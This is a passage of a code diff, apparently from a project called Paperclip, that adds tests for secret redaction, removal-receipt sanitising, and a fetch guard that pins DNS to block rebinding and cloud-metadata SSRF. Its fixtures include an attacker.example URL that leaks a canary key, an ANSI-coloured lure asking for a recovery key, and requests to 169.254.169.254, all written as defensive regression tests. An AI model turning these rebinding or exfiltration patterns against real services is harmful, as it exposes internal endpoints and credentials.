// The per-route bound terminalizes the route, so the login wait resolves
|
||||
// with a null exit code and the third chunk never reaches the listener.
|
||||
await expect(session.wait()).resolves.toEqual({ exitCode: null });
|
||||
expect(chunks).toEqual(["aaaaa", "bbbbb"]);
|
||||
expect(chunks).toEqual(["echo:", "echo:"]);
|
||||
} finally {
|
||||
await handle.stop().catch(() => undefined);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
import { redactSensitive } from "../middleware/redact-sensitive.js";
|
||||
import { redactSensitive, stripSecretBearingUrlParts } from "../middleware/redact-sensitive.js";
|
||||
|
||||
describe("redactSensitive", () => {
|
||||
it("redacts a plaintext password field on a sign-in body", () => {
|
||||
|
|
@ -32,6 +32,24 @@ describe("redactSensitive", () => {
|
|||
}
|
||||
});
|
||||
|
||||
it("redacts an OAuth provider's error_description and error_uri from a callback query", () => {
|
||||
const out = redactSensitive({
|
||||
state: "paperclip-state",
|
||||
error: "access_denied",
|
||||
error_description: "\u001b[31mPaste your recovery key\u001b[0m sk-live-canary",
|
||||
error_uri: "https://attacker.example/explain?leak=sk-live-canary",
|
||||
}) as Record<string, unknown>;
|
||||
|
||||
// The `error` code is Paperclip's one allowlisted label, so it stays legible
|
||||
// in logs; the provider's prose does not.
|
||||
expect(out.error).toBe("access_denied");
|
||||
expect(out.state).toBe("paperclip-state");
|
||||
expect(out.error_description).toBe("[REDACTED]");
|
||||
expect(out.error_uri).toBe("[REDACTED]");
|
||||
expect(JSON.stringify(out)).not.toContain("sk-live-canary");
|
||||
expect(JSON.stringify(out)).not.toContain("\\u001b");
|
||||
});
|
||||
|
||||
it("does not redact a bare `token` field — pagination cursors and CSRF tokens are not credentials", () => {
|
||||
const out = redactSensitive({ token: "next-page-cursor", limit: 20 }) as Record<string, unknown>;
|
||||
|
||||
|
|
@ -98,3 +116,11 @@ describe("redactSensitive", () => {
|
|||
expect(json).not.toContain("[1,2,3]");
|
||||
});
|
||||
});
|
||||
|
||||
describe("stripSecretBearingUrlParts", () => {
|
||||
it("keeps a request path legible while dropping its complete query and fragment", () => {
|
||||
expect(stripSecretBearingUrlParts(
|
||||
"/api/tools/oauth/callback?code=authorization-code&error_description=provider-prose#fragment",
|
||||
)).toBe("/api/tools/oauth/callback");
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -76,6 +76,45 @@ describe("redaction", () => {
|
|||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* A removal receipt (PAP-17119) has to show what it revoked, so a fixed set of
|
||||
* count keys is exempt from the secret-key guard — but only while the value is
|
||||
* a number. The second half of this test is the point: the same key carrying
|
||||
* anything else is still blanked, so the exemption cannot be used to smuggle
|
||||
* material out under a familiar name.
|
||||
*/
|
||||
it("keeps numeric removal-receipt counts but still redacts non-numeric values on the same keys", () => {
|
||||
expect(sanitizeRecord({
|
||||
secretsRevoked: 2,
|
||||
secretsRetainedShared: 0,
|
||||
credentialRefsCleared: 3,
|
||||
secretBindingsRemoved: 3,
|
||||
tokenIssuanceHashesCleared: 1,
|
||||
gatewayTokensRevoked: 0,
|
||||
appProfile: "deleted",
|
||||
})).toEqual({
|
||||
secretsRevoked: 2,
|
||||
secretsRetainedShared: 0,
|
||||
credentialRefsCleared: 3,
|
||||
secretBindingsRemoved: 3,
|
||||
tokenIssuanceHashesCleared: 1,
|
||||
gatewayTokensRevoked: 0,
|
||||
appProfile: "deleted",
|
||||
});
|
||||
|
||||
expect(sanitizeRecord({
|
||||
secretsRevoked: "pasted-api-key-value",
|
||||
secretBindingsRemoved: { name: "tool_app.abc.headers_authorization" },
|
||||
tokenIssuanceHashesCleared: Number.NaN,
|
||||
gatewayTokensRevoked: ["pcgw_live_token"],
|
||||
})).toEqual({
|
||||
secretsRevoked: REDACTED_EVENT_VALUE,
|
||||
secretBindingsRemoved: REDACTED_EVENT_VALUE,
|
||||
tokenIssuanceHashesCleared: REDACTED_EVENT_VALUE,
|
||||
gatewayTokensRevoked: REDACTED_EVENT_VALUE,
|
||||
});
|
||||
});
|
||||
|
||||
it("redacts common secret shapes from unstructured text", () => {
|
||||
const jwt = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
|
||||
const githubToken = "ghp_1234567890abcdefghijklmnopqrstuvwxyz";
|
||||
|
|
|
|||
|
|
@ -0,0 +1,506 @@
|
|||
import { createServer, type IncomingMessage, type Server, type ServerResponse } from "node:http";
|
||||
import { connect as netConnect, createServer as netCreateServer, type AddressInfo, type Socket } from "node:net";
|
||||
import { gzipSync } from "node:zlib";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
import { guardedRemoteHttpFetch, type RemoteHttpSocketFactory } from "../services/remote-http-fetch.js";
|
||||
|
||||
/**
|
||||
* PAP-17098 — DNS-rebinding regression coverage for outbound MCP/OAuth calls.
|
||||
*
|
||||
* The vulnerability was a TOCTOU: the guard resolved a hostname, approved it,
|
||||
* and then handed the *hostname* to global `fetch`, which resolved it a second
|
||||
* time. A name server the attacker controls can answer with a public address for
|
||||
* the first lookup and a loopback/private/link-local address for the second,
|
||||
* pointing the connection at an internal service or the cloud metadata endpoint.
|
||||
*
|
||||
* These tests model that name server deterministically: `lookup` returns a public
|
||||
* address on its first call and `127.0.0.1` on every call after it. Nothing here
|
||||
* touches real DNS or the real network — `socketFactory` stands in for the
|
||||
* network so a "public" address is a loopback listener that reports itself as
|
||||
* public, exactly as it would look to the kernel.
|
||||
*/
|
||||
|
||||
const PUBLIC_ADDRESS = "93.184.216.34";
|
||||
const REBIND_HOST = "mcp.rebind.test";
|
||||
|
||||
type TestServer = {
|
||||
server: Server;
|
||||
port: number;
|
||||
requests: Array<{ url: string; host: string | undefined }>;
|
||||
connections: number;
|
||||
};
|
||||
|
||||
const openServers: Server[] = [];
|
||||
const openSockets: Socket[] = [];
|
||||
|
||||
afterEach(async () => {
|
||||
for (const socket of openSockets.splice(0)) socket.destroy();
|
||||
await Promise.all(openServers.splice(0).map((server) => new Promise<void>((resolve) => server.close(() => resolve()))));
|
||||
});
|
||||
|
||||
async function startServer(handler?: (req: IncomingMessage, res: ServerResponse) => void): Promise<TestServer> {
|
||||
const requests: TestServer["requests"] = [];
|
||||
const state = { connections: 0 };
|
||||
const server = createServer((req, res) => {
|
||||
requests.push({ url: req.url ?? "", host: req.headers.host });
|
||||
if (handler) {
|
||||
handler(req, res);
|
||||
return;
|
||||
}
|
||||
res.writeHead(200, { "content-type": "application/json" });
|
||||
res.end(JSON.stringify({ ok: true }));
|
||||
});
|
||||
server.on("connection", () => {
|
||||
state.connections += 1;
|
||||
});
|
||||
openServers.push(server);
|
||||
await new Promise<void>((resolve) => server.listen(0, "127.0.0.1", resolve));
|
||||
const port = (server.address() as AddressInfo).port;
|
||||
return {
|
||||
server,
|
||||
port,
|
||||
requests,
|
||||
get connections() {
|
||||
return state.connections;
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function guardError(message: string, code: string) {
|
||||
return Object.assign(new Error(message), { code });
|
||||
}
|
||||
|
||||
/**
|
||||
* A stand-in for the network: routes whatever address the transport dialled to a
|
||||
* loopback listener, and reports `remoteAddress` as the dialled address so the
|
||||
* peer check sees what the kernel would have seen.
|
||||
*/
|
||||
function routingSocketFactory(routes: Record<string, number>): {
|
||||
factory: RemoteHttpSocketFactory;
|
||||
dialled: string[];
|
||||
sockets: Socket[];
|
||||
} {
|
||||
const dialled: string[] = [];
|
||||
const sockets: Socket[] = [];
|
||||
const factory: RemoteHttpSocketFactory = (target) => {
|
||||
dialled.push(target.address);
|
||||
const port = routes[target.address];
|
||||
if (port === undefined) throw new Error(`test network has no route to ${target.address}`);
|
||||
const socket = netConnect({ host: "127.0.0.1", port });
|
||||
openSockets.push(socket);
|
||||
sockets.push(socket);
|
||||
Object.defineProperty(socket, "remoteAddress", { get: () => target.address, configurable: true });
|
||||
return socket;
|
||||
};
|
||||
return { factory, dialled, sockets };
|
||||
}
|
||||
|
||||
/** Waits for the socket bookkeeping the transport does after it rejects. */
|
||||
async function flush(): Promise<void> {
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
}
|
||||
|
||||
/** A name server that answers public first and loopback afterwards. */
|
||||
function rebindingLookup(): { lookup: () => Promise<Array<{ address: string; family: number }>>; calls: () => number } {
|
||||
let calls = 0;
|
||||
return {
|
||||
lookup: async () => {
|
||||
calls += 1;
|
||||
return calls === 1
|
||||
? [{ address: PUBLIC_ADDRESS, family: 4 }]
|
||||
: [{ address: "127.0.0.1", family: 4 }];
|
||||
},
|
||||
calls: () => calls,
|
||||
};
|
||||
}
|
||||
|
||||
describe("guarded remote HTTP fetch (PAP-17098 DNS rebinding)", () => {
|
||||
it("turns a platform-fetch DNS cause into the stable DNS code", async () => {
|
||||
const cause = Object.assign(new Error("getaddrinfo ENOTFOUND missing.invalid"), {
|
||||
code: "ENOTFOUND",
|
||||
});
|
||||
const unpinnedFetch = (async () => {
|
||||
throw Object.assign(new TypeError("fetch failed"), { cause });
|
||||
}) as typeof fetch;
|
||||
|
||||
await expect(guardedRemoteHttpFetch("https://8.8.8.8/mcp", {}, {
|
||||
allowPrivateNetwork: true,
|
||||
unpinnedFetch,
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({
|
||||
code: "remote_http_dns_failed",
|
||||
message: "Remote MCP connection hostname could not be resolved",
|
||||
});
|
||||
});
|
||||
|
||||
it("pins the connection to the approved address so a rebind never reaches loopback", async () => {
|
||||
const upstream = await startServer();
|
||||
const internal = await startServer();
|
||||
const dns = rebindingLookup();
|
||||
const network = routingSocketFactory({
|
||||
[PUBLIC_ADDRESS]: upstream.port,
|
||||
"127.0.0.1": internal.port,
|
||||
});
|
||||
|
||||
const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: dns.lookup,
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
await expect(response.json()).resolves.toEqual({ ok: true });
|
||||
// One resolution, and the connection went to the address that resolution
|
||||
// approved. The rebind answer is never consulted, so it cannot win a race.
|
||||
expect(dns.calls()).toBe(1);
|
||||
expect(network.dialled).toEqual([PUBLIC_ADDRESS]);
|
||||
expect(upstream.requests).toHaveLength(1);
|
||||
expect(internal.connections).toBe(0);
|
||||
expect(internal.requests).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("keeps the original Host header even though it dialled an IP address", async () => {
|
||||
const upstream = await startServer();
|
||||
const dns = rebindingLookup();
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port });
|
||||
|
||||
await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, { method: "POST", body: "{}" }, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: dns.lookup,
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
expect(upstream.requests[0]?.host).toBe(REBIND_HOST);
|
||||
expect(upstream.requests[0]?.url).toBe("/mcp");
|
||||
});
|
||||
|
||||
it("sends the hostname as TLS SNI rather than the pinned address", async () => {
|
||||
// The handshake is never completed: capturing the ClientHello is enough to
|
||||
// prove SNI carries the configured hostname, and needs no test certificate.
|
||||
const clientHello = new Promise<Buffer>((resolve) => {
|
||||
const server = createServer();
|
||||
openServers.push(server);
|
||||
server.on("connection", (socket) => {
|
||||
socket.once("data", (chunk: Buffer) => {
|
||||
resolve(chunk);
|
||||
socket.destroy();
|
||||
});
|
||||
});
|
||||
server.listen(0, "127.0.0.1", () => {
|
||||
const port = (server.address() as AddressInfo).port;
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: port });
|
||||
void guardedRemoteHttpFetch(`https://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
}).catch(() => {});
|
||||
});
|
||||
});
|
||||
|
||||
const hello = await clientHello;
|
||||
expect(hello.includes(REBIND_HOST)).toBe(true);
|
||||
expect(hello.includes(PUBLIC_ADDRESS)).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects a peer that turns out to be loopback without writing a request", async () => {
|
||||
const internal = await startServer();
|
||||
// A rebind below DNS: resolution approved a public address, but the socket
|
||||
// lands on loopback anyway. The peer check has to catch it, and has to catch
|
||||
// it before any request byte is written.
|
||||
const factory: RemoteHttpSocketFactory = () => {
|
||||
const socket = netConnect({ host: "127.0.0.1", port: internal.port });
|
||||
openSockets.push(socket);
|
||||
return socket;
|
||||
};
|
||||
|
||||
await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: factory,
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({ code: "remote_http_private_endpoint" });
|
||||
|
||||
expect(internal.requests).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("rejects a hostname whose only resolution is link-local metadata", async () => {
|
||||
const internal = await startServer();
|
||||
const network = routingSocketFactory({ "169.254.169.254": internal.port });
|
||||
|
||||
await expect(guardedRemoteHttpFetch("http://metadata.rebind.test/latest/meta-data/", {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: "169.254.169.254", family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({ code: "remote_http_private_endpoint" });
|
||||
|
||||
expect(network.dialled).toEqual([]);
|
||||
expect(internal.requests).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("rejects a hostname that resolves to a mix of public and private addresses", async () => {
|
||||
await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [
|
||||
{ address: PUBLIC_ADDRESS, family: 4 },
|
||||
{ address: "10.1.2.3", family: 4 },
|
||||
],
|
||||
socketFactory: () => {
|
||||
throw new Error("must not dial");
|
||||
},
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({ code: "remote_http_private_endpoint" });
|
||||
});
|
||||
|
||||
it("does not follow redirects, so the caller re-runs the guard on the next hop", async () => {
|
||||
const upstream = await startServer((_req, res) => {
|
||||
res.writeHead(302, { location: "http://127.0.0.1:9/internal" });
|
||||
res.end();
|
||||
});
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port });
|
||||
|
||||
const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
expect(response.status).toBe(302);
|
||||
expect(response.headers.get("location")).toBe("http://127.0.0.1:9/internal");
|
||||
});
|
||||
|
||||
it("carries an MCP Streamable HTTP exchange, SSE framing included", async () => {
|
||||
// The pinned transport replaces `fetch` on the tools/call path, so an MCP
|
||||
// JSON-RPC reply delivered as a single SSE event has to survive it intact.
|
||||
const upstream = await startServer((req, res) => {
|
||||
const chunks: Buffer[] = [];
|
||||
req.on("data", (chunk: Buffer) => chunks.push(chunk));
|
||||
req.on("end", () => {
|
||||
const request = JSON.parse(Buffer.concat(chunks).toString("utf8")) as { method: string };
|
||||
res.writeHead(200, { "content-type": "text/event-stream" });
|
||||
res.end(`event: message\ndata: ${JSON.stringify({ jsonrpc: "2.0", id: "1", result: { echo: request.method } })}\n\n`);
|
||||
});
|
||||
});
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port });
|
||||
|
||||
const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {
|
||||
method: "POST",
|
||||
headers: { accept: "application/json, text/event-stream", "content-type": "application/json" },
|
||||
body: JSON.stringify({ jsonrpc: "2.0", id: "1", method: "tools/call", params: {} }),
|
||||
}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
expect(response.headers.get("content-type")).toBe("text/event-stream");
|
||||
await expect(response.text()).resolves.toContain('"echo":"tools/call"');
|
||||
});
|
||||
|
||||
it("decodes a compressed response body the way fetch would", async () => {
|
||||
const upstream = await startServer((_req, res) => {
|
||||
res.writeHead(200, { "content-type": "application/json", "content-encoding": "gzip" });
|
||||
res.end(gzipSync(Buffer.from(JSON.stringify({ token_endpoint: "https://auth.example/token" }), "utf8")));
|
||||
});
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port });
|
||||
|
||||
const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/.well-known/oauth-authorization-server`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
await expect(response.json()).resolves.toEqual({ token_endpoint: "https://auth.example/token" });
|
||||
expect(response.headers.get("content-encoding")).toBeNull();
|
||||
});
|
||||
|
||||
it("gives up on a server that accepts the connection and never answers", async () => {
|
||||
// Platform `fetch` applied undici's headersTimeout for free. The OAuth
|
||||
// callers pass no AbortSignal, so the pinned transport has to own the
|
||||
// deadline or a silent server would hold the request open forever.
|
||||
const upstream = await startServer(() => {
|
||||
/* accept the request and never respond */
|
||||
});
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port });
|
||||
|
||||
await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
responseTimeoutMs: 150,
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({ code: "remote_http_response_timeout" });
|
||||
|
||||
// The deadline has to hand back the socket, not just the request handler:
|
||||
// a bounded call that still leaks a descriptor per silent peer is the same
|
||||
// exhaustion bug wearing a timer.
|
||||
expect(upstream.requests).toHaveLength(1);
|
||||
await flush();
|
||||
expect(network.sockets.map((socket) => socket.destroyed)).toEqual([true]);
|
||||
});
|
||||
|
||||
it("gives up on a peer that dribbles response headers forever", async () => {
|
||||
// This is why the headers deadline is a hard timer rather than
|
||||
// `req.setTimeout`: an idle timeout never fires against this peer, because
|
||||
// every trickled header line resets it.
|
||||
const raw = netCreateServer((socket) => {
|
||||
socket.write("HTTP/1.1 200 OK\r\n");
|
||||
const beat = setInterval(() => socket.write("x-pad: keepalive\r\n"), 25);
|
||||
const stop = () => clearInterval(beat);
|
||||
socket.on("close", stop);
|
||||
socket.on("error", stop);
|
||||
});
|
||||
await new Promise<void>((resolve) => raw.listen(0, "127.0.0.1", resolve));
|
||||
const port = (raw.address() as AddressInfo).port;
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: port });
|
||||
|
||||
try {
|
||||
await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
responseTimeoutMs: 150,
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({ code: "remote_http_response_timeout" });
|
||||
|
||||
await flush();
|
||||
expect(network.sockets.map((socket) => socket.destroyed)).toEqual([true]);
|
||||
} finally {
|
||||
await new Promise<void>((resolve) => raw.close(() => resolve()));
|
||||
}
|
||||
});
|
||||
|
||||
it("gives up on a response body that stalls midway", async () => {
|
||||
const upstream = await startServer((_req, res) => {
|
||||
res.writeHead(200, { "content-type": "application/json" });
|
||||
res.write('{"partial":');
|
||||
// never finishes the body
|
||||
});
|
||||
const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port });
|
||||
|
||||
const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }],
|
||||
socketFactory: network.factory,
|
||||
responseTimeoutMs: 150,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
await expect(response.text()).rejects.toMatchObject({ code: "remote_http_response_timeout" });
|
||||
await flush();
|
||||
expect(network.sockets.map((socket) => socket.destroyed)).toEqual([true]);
|
||||
});
|
||||
|
||||
it("falls over to the next approved address when the first is unreachable", async () => {
|
||||
// Pinning must not cost the failover `fetch` gave a multi-homed host: one
|
||||
// dead A record should not take the connection down with it.
|
||||
const upstream = await startServer();
|
||||
const dead = await startServer();
|
||||
// Close the listener so the address is routable but refuses connections.
|
||||
await new Promise<void>((resolve) => dead.server.close(() => resolve()));
|
||||
const network = routingSocketFactory({
|
||||
"93.184.216.35": dead.port,
|
||||
[PUBLIC_ADDRESS]: upstream.port,
|
||||
});
|
||||
|
||||
const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [
|
||||
{ address: "93.184.216.35", family: 4 },
|
||||
{ address: PUBLIC_ADDRESS, family: 4 },
|
||||
],
|
||||
socketFactory: network.factory,
|
||||
error: guardError,
|
||||
});
|
||||
|
||||
await expect(response.json()).resolves.toEqual({ ok: true });
|
||||
expect(network.dialled).toEqual(["93.184.216.35", PUBLIC_ADDRESS]);
|
||||
});
|
||||
|
||||
it("fails closed instead of falling over when a peer fails the address check", async () => {
|
||||
// Failover covers unreachable addresses only. A peer that answers from an
|
||||
// unapproved address is the rebinding defence firing, and must not be
|
||||
// retried past.
|
||||
const internal = await startServer();
|
||||
const upstream = await startServer();
|
||||
const dialled: string[] = [];
|
||||
const factory: RemoteHttpSocketFactory = (target) => {
|
||||
dialled.push(target.address);
|
||||
const socket = netConnect({ host: "127.0.0.1", port: internal.port });
|
||||
openSockets.push(socket);
|
||||
return socket;
|
||||
};
|
||||
|
||||
await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, {
|
||||
allowPrivateNetwork: false,
|
||||
lookup: async () => [
|
||||
{ address: "93.184.216.35", family: 4 },
|
||||
{ address: PUBLIC_ADDRESS, family: 4 },
|
||||
],
|
||||
socketFactory: factory,
|
||||
error: guardError,
|
||||
})).rejects.toMatchObject({ code: "remote_http_private_endpoint" });
|
||||
|
||||
expect(dialled).toEqual(["93.184.216.35"]);
|
||||
expect(internal.requests).toHaveLength(0);
|
||||
expect(upstream.requests).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("still refuses a private IP literal before any transport runs", async () => {
|
||||
await expect(guardedRemoteHttpFetch("http://169.254.169.254/latest/meta-data/", {}, {
|
||||
allowPrivateNetwork: false,
|
||||
error: guardError,
|
||||
unpinnedFetch: async () => {
|
||||
throw new Error("must not fetch");
|
||||
},
|
||||
socketFactory: () => {
|
||||
throw new Error("must not dial");
|
||||
},
|
||||
})).rejects.toMatchObject({ code: "remote_http_private_endpoint" });
|
||||
});
|
||||
|
||||
it("uses platform fetch for a public IP literal, where nothing can be re-resolved", async () => {
|
||||
const calls: string[] = [];
|
||||
const response = await guardedRemoteHttpFetch("https://93.184.216.34/mcp", { method: "POST" }, {
|
||||
allowPrivateNetwork: false,
|
||||
error: guardError,
|
||||
unpinnedFetch: async (input, init) => {
|
||||
calls.push(`${init?.method} ${String(input)} ${init?.redirect}`);
|
||||
return new Response("{}", { status: 200 });
|
||||
},
|
||||
socketFactory: () => {
|
||||
throw new Error("must not dial");
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(calls).toEqual(["POST https://93.184.216.34/mcp manual"]);
|
||||
});
|
||||
|
||||
it("uses platform fetch when the deployment allows private endpoints", async () => {
|
||||
// Nothing to pin: an operator who is allowed to point at 127.0.0.1 directly
|
||||
// gains nothing from rebinding, so this mode keeps `fetch` semantics.
|
||||
const calls: string[] = [];
|
||||
const response = await guardedRemoteHttpFetch("http://127.0.0.1:9/mcp", {}, {
|
||||
allowPrivateNetwork: true,
|
||||
error: guardError,
|
||||
unpinnedFetch: async (input) => {
|
||||
calls.push(String(input));
|
||||
return new Response("{}", { status: 200 });
|
||||
},
|
||||
socketFactory: () => {
|
||||
throw new Error("must not dial");
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(calls).toEqual(["http://127.0.0.1:9/mcp"]);
|
||||
});
|
||||
});
|
||||
|
|
@ -37,11 +37,12 @@ import {
|
|||
toolStdioCommandTemplates,
|
||||
} from "@paperclipai/db";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import { getConnectableAppDefinition } from "@paperclipai/shared";
|
||||
import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import { classifyRisk, toolAccessService } from "../services/tool-access.js";
|
||||
import { classifyRisk, normalizeConnectionMethodConfig, toolAccessService } from "../services/tool-access.js";
|
||||
import { toolAccessPolicyService } from "../services/tool-access-policy.js";
|
||||
import { secretService } from "../services/secrets.js";
|
||||
import { canonicalToolArguments, signToolArguments } from "../services/tool-content-guards.js";
|
||||
|
|
@ -98,6 +99,24 @@ function mockToolsList(tools: unknown[]) {
|
|||
);
|
||||
}
|
||||
|
||||
const PUBLIC_MCP_FIXTURE_URL = "https://8.8.8.8/api/mcp";
|
||||
|
||||
async function withGalleryServerUrl<T>(
|
||||
slug: string,
|
||||
serverUrl: string,
|
||||
operation: () => Promise<T>,
|
||||
): Promise<T> {
|
||||
const method = getConnectableAppDefinition(slug)?.methods[0];
|
||||
if (!method?.defaults) throw new Error(`Missing gallery method defaults for ${slug}`);
|
||||
const originalServerUrl = method.defaults.serverUrl;
|
||||
method.defaults.serverUrl = serverUrl;
|
||||
try {
|
||||
return await operation();
|
||||
} finally {
|
||||
method.defaults.serverUrl = originalServerUrl;
|
||||
}
|
||||
}
|
||||
|
||||
function createRouteApp(
|
||||
db: ReturnType<typeof createDb>,
|
||||
actor?: Express.Request["actor"],
|
||||
|
|
@ -146,13 +165,14 @@ async function grantBoardUser(
|
|||
companyId: string,
|
||||
userId: string,
|
||||
permissionKeys: string[],
|
||||
membershipRole: "owner" | "admin" | "operator" | "member" | "viewer" = "operator",
|
||||
) {
|
||||
await db.insert(companyMemberships).values({
|
||||
companyId,
|
||||
principalType: "user",
|
||||
principalId: userId,
|
||||
status: "active",
|
||||
membershipRole: "operator",
|
||||
membershipRole,
|
||||
});
|
||||
if (permissionKeys.length > 0) {
|
||||
await db.insert(principalPermissionGrants).values(permissionKeys.map((permissionKey) => ({
|
||||
|
|
@ -253,6 +273,7 @@ async function createBrokerConnection(
|
|||
rateLimitPerHour?: number;
|
||||
healthStatus?: "unknown" | "healthy" | "degraded" | "failed" | "unchecked" | "ok" | "error" | "missing_secret";
|
||||
tokenUrl?: string;
|
||||
protocol?: "pages" | "generic" | "rfc8693";
|
||||
} = {},
|
||||
) {
|
||||
const secret = await secretService(db).create(companyId, {
|
||||
|
|
@ -283,7 +304,8 @@ async function createBrokerConnection(
|
|||
tokenBroker: {
|
||||
enabled: true,
|
||||
path: input.path ?? "exchange",
|
||||
tokenUrl: input.tokenUrl ?? "https://pages.example.test/v1/tokens/exchange",
|
||||
tokenUrl: input.tokenUrl ?? "https://93.184.216.34/v1/tokens/exchange",
|
||||
...(input.protocol ? { protocol: input.protocol } : {}),
|
||||
parentCredentialConfigPath: "credentials.deploy_token",
|
||||
parentScopes: input.parentScopes ?? ["pages:publish:ns/dotta"],
|
||||
defaultScopes: input.defaultScopes ?? [],
|
||||
|
|
@ -474,7 +496,7 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
const app = createRouteApp(db, agentJwtActor(company.id, agent.id, run.id));
|
||||
|
||||
const fetchMock = vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => {
|
||||
expect(String(url)).toBe("https://pages.example.test/v1/tokens/exchange");
|
||||
expect(String(url)).toBe("https://93.184.216.34/v1/tokens/exchange");
|
||||
expect(init?.headers).toEqual(expect.objectContaining({ authorization: "Bearer parent-deploy-token" }));
|
||||
const body = JSON.parse(String(init?.body));
|
||||
expect(body).toMatchObject({
|
||||
|
|
@ -542,6 +564,76 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
]));
|
||||
});
|
||||
|
||||
it.each([
|
||||
["generic", undefined],
|
||||
["RFC 8693", "rfc8693" as const],
|
||||
])("blocks a link-local %s token broker before credentials reach fetch", async (_label, protocol) => {
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { run } = await createIssueAndRun(db, company.id, agent.id);
|
||||
const { connection } = await createBrokerConnection(db, company.id, {
|
||||
tokenUrl: "http://169.254.169.254/latest/meta-data",
|
||||
...(protocol ? { protocol } : {}),
|
||||
});
|
||||
await allowConnectionForAgent(db, company.id, agent.id, connection.id);
|
||||
const app = createRouteApp(db, agentJwtActor(company.id, agent.id, run.id));
|
||||
const fetchMock = vi.spyOn(globalThis, "fetch").mockRejectedValue(
|
||||
new Error("the parent credential must never reach the broker"),
|
||||
);
|
||||
|
||||
const res = await request(app)
|
||||
.post(`/api/agents/me/connections/${connection.id}/token`)
|
||||
.send({ scope: "pages:publish:ns/dotta" });
|
||||
|
||||
expect(res.status).toBe(400);
|
||||
